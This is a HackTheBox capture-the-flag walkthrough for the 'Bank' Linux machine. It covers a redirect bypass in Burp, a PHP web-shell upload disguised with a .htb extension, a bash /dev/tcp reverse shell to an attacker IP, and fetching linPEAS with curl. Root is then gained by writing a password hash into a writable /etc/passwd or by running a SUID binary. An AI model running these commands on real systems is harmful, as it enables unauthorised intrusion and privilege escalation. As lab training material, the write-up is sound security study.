HackTheBox: Bank
linux burp-suite file-upload web-shell linpeas setuidBank is a Linux-based machine authored by makelarisjr, with an average rating of 4.5 stars.
// Lessons Learned
- http redirects should be treated as suggestions rather than rules, and can be bypassed using the right tools
- application or website source code will usually give a good indication of which encryption / hashing functions are being used
- the separation of concerns between
/etc/passwd
and/etc/shadow
(the former being world-readable and containing user info, the later being root-accessible only and containing encyrpted passwords) is not enforced - if/etc/passwd
can be written to, an encrypted password can be added for any user, bypassing the use of/etc/shadow
completely
// Recon
nmap -A bank.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-18 10:33 AEST
Nmap scan report for bank.htb (10.10.10.29)
Host is up (0.063s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-title: HTB Bank - Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds
Nmap reveals we’re dealing with an Ubuntu machine, running:
- ssh on port 22
- dns on 53
- apache httpd on port 80
Starting in reverse order, visiting the server in a web-browser reveals an HTB Bank login page (good to see them diversifying!):
The page is very sparse, as is the html source. But we now know it’s a php-based site, so it’s probably a good time to run gobuster to search for more content:
gobuster dir -u http://bank.htb -w Discovery/Web-Content/raft-medium-directories.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bank.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2022/02/18 10:44:12 Starting gobuster in directory enumeration mode
===============================================================
/logout.php (Status: 302) [Size: 0] [--> index.php]
/login.php (Status: 200) [Size: 1974]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/support.php (Status: 302) [Size: 3291] [--> login.php]
/index.php (Status: 302) [Size: 7322] [--> login.php]
/server-status (Status: 403) [Size: 288]
===============================================================
2022/02/18 10:48:05 Finished
===============================================================
We gain access to a few directories on the server - /inc
, /uploads
and /assets
, but none of them contain anything beyond typical website resources (javascript, images etc.) Swapping to a file-based list (raft-medium-files.txt
) we get a few file hits, but with 302 redirects in place:
/login.php (Status: 200) [Size: 1974]
/logout.php (Status: 302) [Size: 0] [--> index.php]
...
/index.php (Status: 302) [Size: 7322] [--> login.php]
/support.php (Status: 302) [Size: 3291] [--> login.php]
// Initial Foothold
As is often the case in offensive security though, a redirect should be treated more as a suggestion than a rule, and if we request some of these urls in Burp Repeater without automamtically following the redirect, we find some interesting content, first on index.php:
and then on support.php:
The index.php output mostly just lists some historical transaction data, but support.php looks like it provides a form (with a file upload field) that we might be able to interact with. Viewing the source for this page also reveals the comment:
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
which could be relevant for bypassing any file upload filtering. While Repeater does a good job of showing us the hidden content, what we really want is to be able to interact with it, which is going to require manipulation of the http response, rather than the more commonly modified request. To do this, we need to use a lesser known feature of Burp:
- we request
http://bank.htb/support.php
through Burp Proxy with intercept enabled - before forwarding the request, click on
Action -> Do intercept -> Response to this request
, and then forward: - in the intercepted response, change the HTTP status from
HTTP/1.1 302 Found
toHTTP/1.1 200 OK
, which indicates to the browser that there is no redirect, and then forward the response
We can now interact properly with the ticket submission form. Let’s start by entering some generic values in the title and description, and trying to upload a typical php web-shell as shell.php
:
As expected based on the developer comment we found, there is some kind of file upload filtering in place. Let’s try renaming our file to shell.htb
, again based on the comment:
With very little effort, our web-shell has now been uploaded, and clicking the Click Here link takes us to our functioning shell. The usual information-gathering commands quickly establish that:
- we have access as the
www-data
user:whoami www-data
- there are only two user accounts with a login shell assigned:
cat /etc/passwd root:x:0:0:root:/root:/bin/bash ... chris:x:1000:1000:chris,,,:/home/chris:/bin/bash
- the user flag can be retrieved from the home directory of
chris
:cat /home/chris/user.txt: 4ce*****************************
// Privilege Escalation
To achieve a more functional environment we can leverage the web-shell to upgrade to a persistent connection, by listening on our attack box:
$ bash
bash-5.1$ nc -lvnp 443
then establishing the connection from the target:
bash -c 'bash -i >& /dev/tcp/10.10.17.230/443 0>&1'
and finally upgrading the connection to a full pseudoterminal & shell on our attack box:
Connection from 10.10.10.29:55400
bash: cannot set terminal process group (1073): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bank:/var/www/bank/uploads$ python -c 'import pty;pty.spawn("/bin/bash")'
</uploads$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bank:/var/www/bank/uploads$ ^Z
[1]+ Stopped nc -lvnp 443
bash-5.1$ stty raw -echo
nc -lvnp 443
// fg to foreground the process, then press enter, then press enter again
www-data@bank:/var/www/bank/uploads$
With a stable shell, we can start basic system enumeration. As expected our www-data
user has no sudo access, and there is no low-hanging fruit from browsing the filesystem (custom software in /opt
etc). Checking which network services are running on the machine, we discover a mysql server that is listening on the localhost interface only, which probably warrants further investigation:
netstat -antup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
...
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
...
The first step is to check for any credentials, and the bank website we encountered before is a good place to start. Checking the site config in /etc/apache2/sites-enabled/bank.conf
we discover the site is located at /var/www/bank
, and sure enough searching for some some relevant strings (user
, pass
, root
, localhost
etc.) reveals a root password in both /inc/ticket.php
and /inc/user.php
:
$mysql = new mysqli("localhost", "root", "!@#S3cur3P4ssw0rd!@#", "htbbank");
If we connect to the server and browse the htbbank
database, we find a users
table with a single row:
+----+------------------------+----------------+----------------------------------+---------+
| id | username | email | password | balance |
+----+------------------------+----------------+----------------------------------+---------+
| 1 | Christos Christopoulos | chris@bank.htb | b27179713f7bffc48b9ffd2cf9467620 | 1.337 |
+----+------------------------+----------------+----------------------------------+---------+
8743b52063cd84097a65d1633f5c74f5
The temptation is get to work trying to crack this encoded password straight away, but hashid isn’t able to give a definitive indication of the format. Looking at the hashcat examples it could be unsalted md5, but there are other variants & algorithms that generate output of the same length, meaning it could be tricky to crack for now. If we keep looking we discover there is also a /var/www/bank/bankreports.txt
file that contains what looks to be an unencrypted password:
+=================+
| HTB Bank Report |
+=================+
===Users===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 2
Transactions: 8
Balance: 1.337$
===Users===
Testing this email / password pair against the http://bank.htb/login.php
page gives us authenticated access to the site, but doesn’t give us access to any functionality we don’t already have. It does however confirm the unencrypted value of the hash found earlier, which we’re able to confirm by running through an md5 generator (later I also discovered the use of an md5
function in the site code, re-confirming this).
With some basic manual enumeration complete, now is probably a good time to download and run linPEAS, which we can do via a python one-liner http server on our attack box:
python -m http.server
and using curl on the target machine to transfer the script across to /tmp
:
curl http://10.10.17.230:8000/linpeas.sh -o /tmp/linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 618k 100 618k 0 0 1831k 0 --:--:-- --:--:-- --:--:-- 1836k
Amongst the large volume of reported output, we learn:
- there is an unknown SUID binary at
/var/htb/bin/emergency
/etc/passwd
is writable by all users
By far the most interesting (and unlikely in the real-world) of these is the writable permissions on /etc/passwd
. While this file doesn’t store user passwords in any modern unix-based system (those have been kept in /etc/shadow
for a long time, which is usually configured to only be accesible by root) it is still possible to put a password into /etc/passwd
, and it will take precedence over any entry in /etc/shadow
. We can generate a new compatible password by running:
openssl passwd <new-password-here>
and then replacing the stub in /etc/passwd
that indicates hand-off to /etc/shadow
:
root:x:...
with an entry that gives precedence to our new password:
root:<encrypted-password-here>:...
The other privesc vector found (the SUID binary) is a compliled, ELF (executable and linkable) binary. Before blindy running it, we notice there is also a /var/htb/emergency
python script, which we can read:
www-data@bank:/var/htb$ cat emergency
#!/usr/bin/python
import os, sys
def close():
print "Bye"
sys.exit()
def getroot():
try:
print "Popping up root shell..";
os.system("/var/htb/bin/emergency")
close()
except:
sys.exit()
q1 = raw_input("[!] Do you want to get a root shell? (THIS SCRIPT IS FOR EMERGENCY ONLY) [y/n]: ");
if q1 == "y" or q1 == "yes":
getroot()
else:
close()
So it seems like this script is what we should run, and it will in turn run the bin/emergency
binary, to grant us an “emergency root shell”. Sounds like fun!
www-data@bank:/var/htb$ python emergency
[!] Do you want to get a root shell? (THIS SCRIPT IS FOR EMERGENCY ONLY) [y/n]: y
Popping up root shell..
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
We can see our user id has not changed, but the effective id (euid) is now root. There’s no real need to even break out into a root shell at this point, since the emergency binary has already taken care of that. We could use this script to establish persistence on the machine (e.g. creating a new user with elevated privileges, or some other kind of back door) but for now we can grab the root key and call it a day:
cat /root/root.txt
25c*****************************